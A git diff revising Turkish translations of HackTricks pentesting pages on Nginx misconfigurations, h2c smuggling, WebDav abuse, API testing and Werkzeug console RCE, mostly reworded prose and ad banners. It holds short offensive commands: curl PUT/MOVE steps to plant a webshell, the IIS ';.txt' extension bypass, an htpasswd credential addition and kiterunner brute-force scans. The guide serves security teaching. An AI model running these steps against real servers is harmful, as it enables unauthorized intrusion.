+`default` olmadan, bir **kötü niyetli kullanıcı**, `/map-poc` içinde tanımsız bir URI'ye erişerek güvenlik önlemlerini atlayabilir. [Nginx kılavuzu](https://nginx.org/en/docs/http/ngx_http_map_module.html), bu tür sorunları önlemek için bir **varsayılan değer** belirlemenizi önerir.
-### **DNS Sahteciliği Zafiyeti**
+### **DNS Sahtecilik Açığı**
-Belirli koşullar altında Nginx'e karşı DNS sahteciliği mümkündür. Bir saldırgan, Nginx'in kullandığı **DNS sunucusunu** bildiğinde ve DNS sorgularını onaylayabiliyorsa, DNS kayıtlarını sahtecilik yapabilir. Bununla birlikte, Nginx'in DNS çözümlemesi için **localhost (127.0.0.1)**'i kullanacak şekilde yapılandırıldıysa bu yöntem etkisiz olacaktır. Nginx, bir DNS sunucusunu aşağıdaki gibi belirtmeye izin verir:
+Belirli koşullar altında Nginx'e karşı DNS sahteciliği mümkündür. Bir saldırgan, Nginx'in kullandığı **DNS sunucusunu** bildiğinde ve DNS sorgularını onaylayabildiğinde DNS kayıtlarını sahtecilik yapabilir. Ancak bu yöntem, Nginx'in DNS çözümlemesi için **localhost (127.0.0.1)**'i kullanacak şekilde yapılandırılmışsa etkisizdir. Nginx, bir DNS sunucusunu aşağıdaki gibi belirtmeye izin verir:
```yaml
resolver 8.8.8.8;
```
### **`proxy_pass` ve `internal` Komutları**
-**`proxy_pass`** komutu, istekleri başka sunuculara yönlendirmek için kullanılır, ya içsel ya da harici olarak. **`internal`** komutu ise belirli konumların sadece Nginx içinde erişilebilir olduğunu sağlar. Bu komutlar başlı başına güvenlik açıkları değillerdir, ancak yapılandırmaları güvenlik açıklarını önlemek için dikkatli bir şekilde incelenmelidir.
+**`proxy_pass`** komutu, istekleri başka sunuculara yönlendirmek için kullanılır, ya içsel ya da harici olarak. **`internal`** komutu ise belirli konumlara sadece Nginx içinden erişilebilir olduğunu sağlar. Bu komutlar başlı başına güvenlik açıkları değildir, ancak yapılandırmaları güvenlik açıklarını önlemek için dikkatli bir şekilde incelenmelidir.
## proxy\_set\_header Upgrade & Connection
-Eğer nginx sunucusu Upgrade ve Connection başlıklarını iletmek için yapılandırılmışsa, bir [**h2c Smuggling saldırısı**](../../pentesting-web/h2c-smuggling.md) gerçekleştirilebilir ve korumalı/içsel uç noktalara erişilebilir.
+Eğer nginx sunucusu Upgrade ve Connection başlıklarını geçmek için yapılandırılmışsa, bir [**h2c Smuggling saldırısı**](../../pentesting-web/h2c-smuggling.md) gerçekleştirilebilir ve korumalı/içsel uç noktalara erişilebilir.
{% hint style="danger" %}
-Bu güvenlik açığı, bir saldırganın **`proxy_pass` uç noktasıyla doğrudan bir bağlantı kurmasına** izin verecektir (`http://backend:9999` bu durumda). Bu içerik Nginx tarafından kontrol edilmeyecek.
+Bu güvenlik açığı, bir saldırganın **`proxy_pass` uç noktasıyla doğrudan bir bağlantı kurmasına** izin verecektir (`http://backend:9999` bu durumda) ve bu içerik Nginx tarafından kontrol edilmeyecektir.
{% endhint %}
-`/flag`'i çalmak için savunmasız yapılandırma örneği [burada](https://bishopfox.com/blog/h2c-smuggling-request):
+Örnek olarak, [buradan](https://bishopfox.com/blog/h2c-smuggling-request) `/flag`'i çalmak için savunmasız yapılandırma:
```
server {
listen 443 ssl;
@@ -244,7 +244,7 @@ deny all;
}
```
{% hint style="warning" %}
-`proxy_pass`'in belirli bir **yol**a işaret ettiği durumda bile, örneğin `http://backend:9999/socket.io`, bağlantı `http://backend:9999` ile kurulacaktır, bu nedenle **içsel uç noktadaki herhangi başka bir yola ulaşabilirsiniz. Bu nedenle, proxy_pass URL'sinde bir yol belirtilmiş olup olmadığı önemli değildir.**
+`proxy_pass`'in belirli bir **yol** a gösterdiği durumda bile, bağlantı `http://backend:9999` ile kurulacaktır, bu nedenle **içsel uç noktadaki herhangi başka bir yola ulaşabilirsiniz. Bu nedenle, proxy_pass URL'sinde bir yol belirtilmiş olup olmadığı önemli değildir.**
{% endhint %}
## Kendiniz Deneyin
@@ -269,22 +269,22 @@ Nginxpwner, yaygın Nginx yanlı yapılandırmalarını ve güvenlik açıkları
* [**http://blog.zorinaq.com/nginx-resolver-vulns/**](http://blog.zorinaq.com/nginx-resolver-vulns/)
* [**https://github.com/yandex/gixy/issues/115**](https://github.com/yandex/gixy/issues/115)
-
+
-**Anında kullanılabilir zayıflık değerlendirme ve penetrasyon testi kurulumu**. 20'den fazla araç ve özellikle tam bir pentest çalıştırın, keşiften raporlamaya kadar uzanan. Pentester'ları değiştirmiyoruz - onlara daha derinlemesine kazmak, kabuklar açmak ve eğlenmek için biraz zaman kazandırmak için özel araçlar, tespit ve istismar modülleri geliştiriyoruz.
+**Hemen kullanılabilir zayıflık değerlendirme ve penetrasyon testi kurulumu**. Keşiften raporlamaya kadar 20'den fazla araç ve özellikle tam bir pentest çalıştırın. Pentester'ları değiştirmiyoruz - onlara daha derinlemesine kazma, kabukları patlatma ve eğlenme zamanı vermek için özel araçlar, tespit ve istismar modülleri geliştiriyoruz.
{% embed url="https://pentest-tools.com/" %}
-Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!
+Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!
HackTricks'i desteklemenin diğer yolları:
-* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
-* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
-* [**The PEASS Family'yi keşfedin**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin
-* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
-* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.**
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
+* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
+* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
+* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek paylaşın.
diff --git a/network-services-pentesting/pentesting-web/put-method-webdav.md b/network-services-pentesting/pentesting-web/put-method-webdav.md
index 53300eb95..3e5a0c3d8 100644
--- a/network-services-pentesting/pentesting-web/put-method-webdav.md
+++ b/network-services-pentesting/pentesting-web/put-method-webdav.md
@@ -1,9 +1,9 @@
# WebDav
-
+
\
-[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
+[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışlarını** kolayca oluşturun ve otomatikleştirin.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -14,7 +14,7 @@ Bugün Erişim Alın:
HackTricks'ı desteklemenin diğer yolları:
-* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
@@ -24,13 +24,13 @@ HackTricks'ı desteklemenin diğer yolları:
**WebDav** özellikli bir **HTTP Sunucusu** ile uğraşırken, genellikle **HTTP Basic Authentication** aracılığıyla doğrulanan **doğru kimlik bilgilerine** sahipseniz, dosyaları **manipüle etmek mümkündür**. Bu tür bir sunucu üzerinde kontrol sağlamak genellikle bir **webshell yükleyip çalıştırmayı** içerir.
-WebDav sunucusuna erişim genellikle **geçerli kimlik bilgileri** gerektirir, bunları elde etmek için [**WebDav brute force**](../../generic-methodologies-and-resources/brute-force.md#http-basic-auth) yaygın bir yöntemdir.
+WebDav sunucusuna erişim genellikle **geçerli kimlik bilgileri** gerektirir, bunları elde etmek için [**WebDav bruteforce**](../../generic-methodologies-and-resources/brute-force.md#http-basic-auth) yaygın bir yöntemdir.
Sunucu tarafı betiklerin çalışmasını engelleyen dosya yükleme kısıtlamalarını aşmak için şunları yapabilirsiniz:
* Eğer kısıtlanmamışsa, **yürütülebilir uzantılara sahip** dosyaları doğrudan **yükleyin**.
* Yüklenen yürütülemez dosyaları (örneğin .txt) yürütülebilir bir uzantıya **yeniden adlandırın**.
-* Yüklenen yürütülemez dosyaları, uzantılarını yürütülebilir olan bir uzantıya değiştirerek **kopyalayın**.
+* Yüklenen yürütülemez dosyaları, uzantılarını yürütülebilir olan bir uzantıya **değiştirerek kopyalayın**.
## DavTest
@@ -53,19 +53,19 @@ curl -T 'shell.txt' 'http://$ip'
```
curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'
```
-
+
\
-[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
+[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatikleştirilmiş iş akışları** oluşturun ve yönetin.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## IIS5/6 WebDav Zafiyeti
-Bu zafiyet çok ilginçtir. **WebDav**, **.asp** uzantılı dosyaları **yüklemeye** veya **yeniden adlandırmaya izin vermez**. Ancak, dosya adının sonuna **";.txt"** ekleyerek bunu **atlayabilirsiniz** ve dosya .asp dosyasıymış gibi **çalıştırılacaktır** (ayrıca **".txt" yerine ".html"** de **kullanabilirsiniz** ancak **";"**'yi **unutmayın**).
+Bu zafiyet çok ilginç. **WebDav**, dosyaların uzantısı **.asp** olan dosyaların **yüklenmesine** veya **yeniden adlandırılmasına izin vermez.** Ancak, dosya adının sonuna **";.txt"** ekleyerek bunu **atlayabilirsiniz** ve dosya, bir .asp dosyasıymış gibi **çalıştırılacaktır** (aynı zamanda **".txt" yerine ".html"** de **kullanabilirsiniz** ancak **";"**'yi **unutmayın**).
-Daha sonra kabuğunuzu ".**txt" dosyası** olarak **yükleyebilir** ve onu ".asp;.txt" dosyasına **kopyalayabilir/taşıyabilirsiniz**. Web sunucusu üzerinden bu dosyaya erişildiğinde **çalıştırılacaktır** (cadaver, taşıma işleminin çalışmadığını söyleyecek, ancak çalışmıştır).
+Daha sonra **shell**'inizi ".**txt" dosyası** olarak **yükleyebilir** ve onu ".asp;.txt" dosyasına **kopyalayabilir/taşıyabilirsiniz**. Bu dosyaya web sunucusu üzerinden erişildiğinde **çalıştırılacaktır** (cadaver, taşıma işleminin çalışmadığını söyleyecek, ancak çalışmış olacak).
![](<../../.gitbook/assets/image (18) (1) (1).png>)
@@ -85,17 +85,17 @@ AuthName "webdav"
AuthUserFile /etc/apache2/users.password
Require valid-user
```
-Görüldüğü gibi, **webdav** sunucusu için geçerli olan **kimlik bilgileri** ile dosyalar bulunmaktadır:
+Görüldüğü gibi, webdav sunucusu için geçerli olan **kimlik bilgileri** ile dosyalar bulunmaktadır:
```
/etc/apache2/users.password
```
-Dosyanın içinde **kullanıcı adı** ve şifrenin **hash**'i bulunmaktadır. Bu, webdav sunucusunun kullanıcıları doğrulamak için kullandığı kimlik bilgileridir.
+Dosyaların içinde **kullanıcı adı** ve **şifrenin hash**'i bulunmaktadır. Bu, webdav sunucusunun kullanıcıları doğrulamak için kullandığı kimlik bilgileridir.
Onları **kırmayı** deneyebilir veya bir nedenden dolayı **webdav** sunucusuna **erişmek** istiyorsanız **daha fazla ekleyebilirsiniz**:
```bash
htpasswd /etc/apache2/users.password #You will be prompted for the password
```
-Yeni kimlik bilgilerinin çalışıp çalışmadığını kontrol etmek için aşağıdakileri yapabilirsiniz:
+Yeni kimlik bilgilerinin çalışıp çalışmadığını kontrol etmek için şunu yapabilirsiniz:
```bash
wget --user --ask-password http://domain/path/to/webdav/ -O - -q
```
@@ -105,22 +105,22 @@ wget --user --ask-password http://domain/path/to/webdav/ -O - -q
-Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!
+Sıfırdan kahraman olana kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!
HackTricks'ı desteklemenin diğer yolları:
-* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
-* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
+* [**The PEASS Family**]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-
+
\
-[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
+[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
diff --git a/network-services-pentesting/pentesting-web/web-api-pentesting.md b/network-services-pentesting/pentesting-web/web-api-pentesting.md
index 4273cf7ad..6a8e2470c 100644
--- a/network-services-pentesting/pentesting-web/web-api-pentesting.md
+++ b/network-services-pentesting/pentesting-web/web-api-pentesting.md
@@ -2,21 +2,21 @@
-AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!
+AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile!
HackTricks'ı desteklemenin diğer yolları:
-* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
-* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
-* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
-* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
+* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
+* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
+* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek HackTricks** ve **HackTricks Cloud** github depolarına katkıda bulunun.
-
+
-[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
+[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -27,29 +27,29 @@ API'leri pentest etmek, zayıflıkları ortaya çıkarmak için yapılandırılm
### **API Türlerini Anlama**
-* **SOAP/XML Web Servisleri**: Genellikle `?wsdl` yolunda bulunan belgelendirme için WSDL formatını kullanın. **SOAPUI** ve **WSDLer** (Burp Suite Eklentisi) gibi araçlar, istekleri ayrıştırmak ve oluşturmak için önemlidir. Örnek belgelendirme [DNE Online](http://www.dneonline.com/calculator.asmx) adresinden erişilebilir.
-* **REST API'ler (JSON)**: Belgelendirme genellikle WADL dosyalarında gelir, ancak [Swagger UI](https://swagger.io/tools/swagger-ui/) gibi araçlar, daha kullanıcı dostu bir etkileşim arayüzü sağlar. Örnek istekler oluşturmak ve yönetmek için **Postman** değerli bir araçtır.
+* **SOAP/XML Web Servisleri**: Genellikle `?wsdl` yolunda bulunan belgeleme için WSDL formatını kullanın. **SOAPUI** ve **WSDLer** (Burp Suite Eklentisi) gibi araçlar, istekleri ayrıştırmak ve oluşturmak için önemlidir. Örnek belgeleme [DNE Online](http://www.dneonline.com/calculator.asmx)'da erişilebilir.
+* **REST API'ler (JSON)**: Belgeleme genellikle WADL dosyalarında gelir, ancak [Swagger UI](https://swagger.io/tools/swagger-ui/) gibi araçlar, daha kullanıcı dostu bir etkileşim arayüzü sağlar. Örnek istekler oluşturmak ve yönetmek için **Postman** değerli bir araçtır.
* **GraphQL**: API'ler için anlaşılabilir ve eksiksiz bir veri açıklaması sunan bir sorgu dili.
### **Uygulama Laboratuvarları**
-* [**VAmPI**](https://github.com/erev0s/VAmPI): OWASP'in en üst 10 API zayıflıklarını kapsayan, el becerisi gerektiren bir zayıf API.
+* [**VAmPI**](https://github.com/erev0s/VAmPI): OWASP top 10 API zayıflıklarını kapsayan uygulamalı pratik için kasıtlı olarak zayıf bir API.
### **API Pentesting için Etkili Püf Noktaları**
-* **SOAP/XML Zayıflıkları**: Genellikle DTD bildirimleri kısıtlandığından XXE zayıflıklarını keşfedin. XML geçerli kalıyorsa CDATA etiketleri yük enjeksiyonuna izin verebilir.
+* **SOAP/XML Zayıflıkları**: XXE zayıflıklarını keşfedin, ancak genellikle DTD bildirimleri kısıtlanmıştır. XML geçerli kalırsa CDATA etiketleri yük enjeksiyonuna izin verebilir.
* **Yetki Yükseltme**: Yetki seviyeleri değişen uç noktaları test ederek yetkisiz erişim olasılıklarını belirleyin.
* **CORS Yanılandırmaları**: Yetkilendirilmiş oturumlardan CSRF saldırıları aracılığıyla olası sömürülebilirlik için CORS ayarlarını inceleyin.
-* **Uç Nokta Keşfi**: Gizli uç noktaları keşfetmek için API kalıplarından yararlanın. Fuzzer gibi araçlar bu süreci otomatikleştirebilir.
+* **Uç Nokta Keşfi**: Gizli uç noktaları keşfetmek için API kalıplarını kullanın. Fuzzer gibi araçlar bu süreci otomatikleştirebilir.
* **Parametre Oynama**: İsteklere parametre ekleyerek veya değiştirerek yetkisiz verilere veya işlevselliklere erişmeyi deneyin.
* **HTTP Yöntemi Testi**: Beklenmeyen davranışları veya bilgi sızıntılarını ortaya çıkarmak için istek yöntemlerini (GET, POST, PUT, DELETE, PATCH) değiştirin.
* **İçerik Türü Manipülasyonu**: Farklı içerik türleri arasında geçiş yaparak (x-www-form-urlencoded, application/xml, application/json) ayrıştırma sorunlarını veya zayıflıkları test edin.
-* **Gelişmiş Parametre Teknikleri**: JSON yüklerinde beklenmeyen veri tipleriyle test yapın veya XXE enjeksiyonları için XML verileriyle oynayın. Ayrıca, daha geniş testler için parametre kirliliği ve joker karakterlerini deneyin.
+* **Gelişmiş Parametre Teknikleri**: JSON yüklerinde beklenmeyen veri tipleriyle test edin veya XXE enjeksiyonları için XML verileriyle oynayın. Ayrıca, daha geniş testler için parametre kirliliği ve joker karakterlerini deneyin.
* **Sürüm Testi**: Eski API sürümleri daha savunmasız olabilir. Her zaman birden fazla API sürümünü kontrol edin ve test edin.
### **API Pentesting için Araçlar ve Kaynaklar**
-* **kiterunner**: API uç noktalarını keşfetmek için mükemmel bir araçtır. Hedef API'ler üzerinde tarama yapmak ve brute force yollarını ve parametreleri tarayın.
+* **kiterunner**: API uç noktalarını keşfetmek için mükemmel bir araçtır. Hedef API'ler üzerinde tarama yapmak ve brute force yolları ve parametreleri tarayın.
```bash
kr scan https://domain.com/api/ -w routes-large.kite -x 20
kr scan https://domain.com/api/ -A=apiroutes-220828 -x 20
@@ -60,7 +60,7 @@ kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0
### **Öğrenme ve Uygulama Kaynakları**
-* **OWASP API Güvenlik Top 10**: Ortak API zafiyetlerini anlamak için temel okuma materyali ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)).
+* **OWASP API Güvenliği Top 10**: Ortak API zafiyetlerini anlamak için temel okuma materyali ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)).
* **API Güvenlik Kontrol Listesi**: API'leri güvence altına almak için kapsamlı bir kontrol listesi ([GitHub link](https://github.com/shieldfy/API-Security-Checklist)).
* **Logger++ Filtreleri**: API zafiyetlerini aramak için Logger++, kullanışlı filtreler sunar ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)).
* **API Uç Noktaları Listesi**: Test amaçlı potansiyel API uç noktalarının özenle seçilmiş bir listesi ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)).
@@ -69,9 +69,9 @@ kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0
* [https://github.com/Cyber-Guy1/API-SecurityEmpire](https://github.com/Cyber-Guy1/API-SecurityEmpire)
-
+
-[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)'i kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
+[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -84,8 +84,8 @@ HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
-* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da takip edin.
+* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
diff --git a/network-services-pentesting/pentesting-web/werkzeug.md b/network-services-pentesting/pentesting-web/werkzeug.md
index de0de789b..07421ffdc 100644
--- a/network-services-pentesting/pentesting-web/werkzeug.md
+++ b/network-services-pentesting/pentesting-web/werkzeug.md
@@ -4,45 +4,45 @@
AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!
-HackTricks'i desteklemenin diğer yolları:
+HackTricks'ı desteklemenin diğer yolları:
-* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
+* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
-* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
-* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin**.
+* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-
+
-**Anında kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu**. 20'den fazla araç ve özellikle tam bir pentest çalıştırın, keşiften raporlamaya kadar uzanan. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine inme, kabukları patlatma ve eğlenme zamanı kazanıyorlar.
+**Anında kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu**. 20'den fazla araç ve özellikle her yerden tam bir pentest çalıştırın, keşiften raporlamaya kadar uzanan. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine inmek, kabukları patlatmak ve eğlenmek için zaman kazanmalarını sağlıyoruz.
{% embed url="https://pentest-tools.com/" %}
## Konsol RCE
-Hata ayıklama etkinse `/console`'a erişmeyi deneyebilir ve RCE elde edebilirsiniz.
